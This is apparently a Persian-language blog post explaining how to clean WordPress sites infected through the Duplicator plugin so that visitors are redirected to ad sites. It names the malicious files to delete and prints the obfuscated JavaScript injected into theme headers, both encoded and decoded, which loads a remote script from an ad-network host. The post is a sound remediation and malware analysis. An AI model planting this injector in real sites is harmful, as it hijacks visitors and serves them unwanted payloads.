سلام.اخیرا یک سری از سایت های وردپرسی که از پلاگین duplicator استفاده میکردن به مشکلی خوردن که در صورت وارد کردن آدرس سایت، به صورت اتوماتیک redirect میشه به یک سری سایت های تبلیغاتی که چند روزی خودم درگیر حل این مسئله بودم و پس از تست کردن راه های مختلف و نتیجه نگرفتن ، تصمیم گرفتم این مطلب رو بنوسیم تا کمکی کرده باشم به دوستانی که این مشکل رو دارن.
برای حل این مسئله پلاگین های امنیتی مختلفی که در این زمینه بود رو تست کردم ولی متاسفانه نتیجه ای که میخواستم رو نداشت و در نهایت محبور شدم خودم کدهای سایت رو بررسی کردم و توی این بررسی کردن ها به نکات بسیار جالبی رسیدم که در ادامه میگم بهتون.
اول از همه، وارد هاست سایت بشین و این فایل هارو که مربوط به ویروس میشه رو حذف کنین:
temp-crawl.php
wp-crawl.php
البته یک نگاهی هم به فولدر wp-content بندازین چون توی مواردی این فایل ها اونجا هم بوده و اگر بود ، حذف کنین.
و در نهایت فایل های زیر رو هم حذف کنین، که مربوط میشه به فایل های نصبی پلاگین داپلیکیتور :
database.sql
installer.php
installer-backup.php
installer-log.txt
installer-data.sql
بعد از اینکه فایل های بالا رو حذف کردین فایل wp-config رو از یک وردپرس سالم بردارین و جایگزین فایل فعلی کنین و در نهایت هم اطلاعات دیتایس رو داخلش وارد کنین.
همچنین باید هسته jquery وردپرس رو هم آپدیت کنین که برای این کار پس از دانلود کردن وردپرس، به این مسیر برین "wp-includes/js/jquery/jquery.js " و فایل jquery.js رو جایگزین فایل فعلی کنین.
خب بعد از اینکه مراحل بالا رو طی کردین میرسیم به مرحله آخر که باید کدهایی که مربوط به این ویروس میشه رو از داخل قالب سایت حذف کنیم.
معمولا این دسته از ویروس ها یک سری کدهایی رو داخل قالب سایت و یا قسمت های دیگه مثل کدهای پلاگین ها و ... قرار میدن که بتون به راحتی به اون هدفی که دنبال میکنن برسن.
که این ویروس هم دقیقا به همین شکل بود ، توی زمانی که داشتم کدهای سایت رو بررسی میکردم ، یک سری کدهای جاوا اسکریپت رو توی هدر سایت دیدم که بعد از مقایسه با سایت هایی که این مشکل رو نداشتن متوجه شدم که این کدها به قالب اضافه شدن :|
کد زیر یک نمونه از کدهایی هستش که این دسته از ویروس ها داخل قالب سایت قرار میدن.
String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 52, 54, 44, 32, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 32, 125);
برای حذف این کد به مسیر "wp-content\themes " برین و قالبی که در حال حاضر روی سایت نصب شده رو انتخاب کنین، از داخل فایل های قالب فایل header.php رو انتخاب کنین و کدهایی مشابه با کد بالا رو از داخلش به طور کامل حذف کنین البته اگر از قالب های دیگه ای هم استفاده میکنین باید این کد رو از فایل header.php اون قالب ها هم پاک کنین.
بعد از انجام این کار عملا مشکل به طور کامل حل میشه ولی اگر دقیقا میخواین بدونین که این کدها چه کار میکنن با من همراه باشین تا بررسی کنیم.
در واقع این ویروس اومده از متد ()String.fromCharCode
استفاده کرده که در واقع این متد کاری که انجام میده، کدهای utf-16 رو تبدیل میکنه به string .
برای مثال خروجی کد زیر میشه: "ABC"
String.fromCharCode(65, 66, 67);
// returns "ABC
در واقع اون کد اولی که قرار دادم، در صورت اجرا شدن خروجی زیر رو بهمون میده :
var elem = document.createElement('script'); elem.type = 'text/javascript'; elem.async = true;elem.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 97, 100, 115, 46, 118, 111, 105, 112, 110, 101, 119, 115, 119, 105, 114, 101, 46, 110, 101, 116, 47, 97, 100, 46, 106, 115); var alls = document.getElementsByTagName('script'); var nt3 = true; for ( var i = alls.length; i--;) { if (alls[i].src.indexOf(String.fromCharCode(118, 111, 105, 112, 110, 101, 119, 115, 119, 105, 114, 101)) > -1) { nt3 = false;} } if(nt3 == true){document.getElementsByTagName(\"head\")[0].appendChild(elem); }
این کد کاری که انجام میده میاد یک تگ اسکریپت میسازه که برای src اسکریپت مجدد از String.fromCharCode استفاده کرده که زمانی که خروجی اون رو میگیریم میشه این آدرس :
https://ads.voipnewswire.net/ad.js
که در نهایت با اجرا شدن کدهای جاوا اسکریپت که داخل آدرس بالا هست ، مجدد یک آدرس دیگه رو باز میکنه و این مراحل چندین مرتبه تکرار میشه :)
تا اینکه در نهایت اتفاقی که رخ میده url سایت های تبلیغاتی رو معمولا هر چند روز یک بار هم تغییر میکنن رو داخل یک صفحه قرار میدن و دیگه ادامه ماجرا ...
از طریق این لینک میتونین تک تک مراحلی که طی میشه تا به اون سایت تبلیغاتی میرسه رو ببینین.
امیدوارم مطلب مفیدی بوده باشه براتون.